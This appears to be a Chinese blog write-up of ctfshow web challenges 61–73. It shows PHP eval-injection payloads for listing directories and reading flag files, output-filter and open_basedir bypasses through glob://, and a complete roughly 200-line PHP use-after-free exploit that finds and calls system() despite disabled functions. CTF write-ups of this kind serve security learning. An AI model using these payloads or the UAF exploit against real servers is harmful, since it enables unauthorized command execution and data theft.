CTF_show Web 命令执行writeup P4 WEB61-WEB73

CTFSHOW

WEB61-WEB65

1
2
3
4
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}

这里直接给了eval函数,但是测试了一下system函数被禁用了,不过有很多很多方法可以进行绕过

1
2
3
4
5
6
7
var_dump() #打印变量相关信息
print_r()  #打印多个变量的值,可以打印复杂类型变量的值,如array
file_get_contents()
highlight_file()
show_source()        #highlight_file()的别名
readfile()
scandir()  #用于打印目录下的文件

这里给一个例子:

1
2
print_r(scandir('.'));   #打印当前目录文件名字
show_source('flag.php');    #对文件进行语法高亮显示。

从web58-web65都可以使用highlight_file()绕过,这里不多叙述了。

WEB66-67

仍然是这个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

但是这次用highlight_file("flag.php");不行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-07 19:40:53
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: [email protected]
# @link: https://ctfer.com

*/


$flag="秀秀得了,这次不在这里";

这次不在这里了,使用print_r(scandir('.')); 使用c=print_r(scandir('../../../../'));查看根目录发现flag.txt,继续用c=highlight_file("../../../flag.txt");,得到flagctfshow{93f9123f-aa36-45c4-8f55-0b3a64c46775}

WEB68

尝试include一下index.php,但是提示:Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 262144 bytes) in /var/www/html/index.php(17) : eval()'d code on line 1,直接尝试include("/flag.txt");得到flag

另外看wp还有一种思路:c=var_dump(scandir(’/’));可以扫描到目录

WEB69

var_dump这里也被禁用了,可以使用c=echo json_encode(scandir("/"));或者c=var_export(scandir("/"));扫描目录, 然后直接require()或者include()得到flag。

WEB70

同上一关,另外读取文件还可以使用echo json_encode(glob("/flag.*"));

WEB71

这里发现用函数输出的都是???,发现有个附件,下载打开瞅瞅

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

原来是把输出文本全部替换成?了,这里尝试使用die函数提前终止执行c=echo json_encode(scandir("/"));die("1");,成功输出 [".","..",".dockerenv","bin","dev","etc","flag.txt","home","lib","media","mnt","opt","proc","root","run","sbin","srv","sys","tmp","usr","var"]1 然后使用include(“flag.txt”);die(“1”);获取到了flag。

看别人的wp发现还可以提前送出缓冲区的内容,在劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:

1
2
ob_flush();
ob_end_flush();

WEB72

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

这道题测试发现新增了限制目录,现在访问不了根目录了 使用c=var_export(scandir("."));die();可以正常回显: array ( 0 => ‘.’, 1 => ‘..’, 2 => ‘flag.php’, 3 => ‘index.php’, ) 但是c=var_export(scandir("/"));die();就会报错,open_basedir限制了目录,/var/www/html/以外的目录都被禁止访问了。 这道题没什么思路了,看了提示是用glob伪协议读取的目录,然后提示使用uaf脚本进行命令执行

Q:UAF不是也可以ls /吗

A:别问,问就是学习伪协议

1
2
3
4
5
6
7
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>

UAF:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
c=function ctfshow($cmd) { global $abc, $helper, $backtrace;

class Vuln {
    public $a;
    public function __destruct() { 
        global $backtrace; 
        unset($this->a);
        $backtrace = (new Exception)->getTrace();
        if(!isset($backtrace[1]['args'])) {
            $backtrace = debug_backtrace();
        }
    }
}

class Helper {
    public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
    $address = 0;
    for($j = $s-1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p+$j]);
    }
    return $address;
}

function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= sprintf("%c",($ptr & 0xff));
        $ptr >>= 8;
    }
    return $out;
}

function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = sprintf("%c",($v & 0xff));
        $v >>= 8;
    }
}

function leak($addr, $p = 0, $s = 8) {
    global $abc, $helper;
    write($abc, 0x68, $addr + $p - 0x10);
    $leak = strlen($helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
}

function parse_elf($base) {
    $e_type = leak($base, 0x10, 2);

    $e_phoff = leak($base, 0x20);
    $e_phentsize = leak($base, 0x36, 2);
    $e_phnum = leak($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = leak($header, 0, 4);
        $p_flags = leak($header, 4, 4);
        $p_vaddr = leak($header, 0x10);
        $p_memsz = leak($header, 0x28);

        if($p_type == 1 && $p_flags == 6) { 

            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { 
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        return false;

    return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
            
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = leak($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
            
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak($addr, 0, 7);
        if($leak == 0x10102464c457f) {
            return $addr;
        }
    }
}

function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak($addr);
        $f_name = leak($f_entry, 0, 6);

        if($f_name == 0x6d6574737973) {
            return leak($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

function trigger_uaf($arg) {

    $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    $vuln = new Vuln();
    $vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
    die('This PoC is for *nix systems only.');
}

$n_alloc = 10; 
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
    $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
    die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
    die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
    die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
    die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
    die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
    write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); 
write($abc, 0xd0 + 0x68, $zif_system); 

($helper->b)($cmd);
exit();

}

ctfshow("cat /flag0.txt");ob_end_flush(); ?>

总结:看不懂,和pwn有关。以后再来~

WEB73

1
2
3
4
5
6
7
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>

直接用上一道题的payload即可,这道题不用uaf直接include即可。

1
c=include("/flagc.txt");die();
Licensed under CC BY-NC-SA 4.0
最后更新于 Apr 22, 2025 17:33 CST
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计

萌ICP备20249008号 本站支持IPv6访问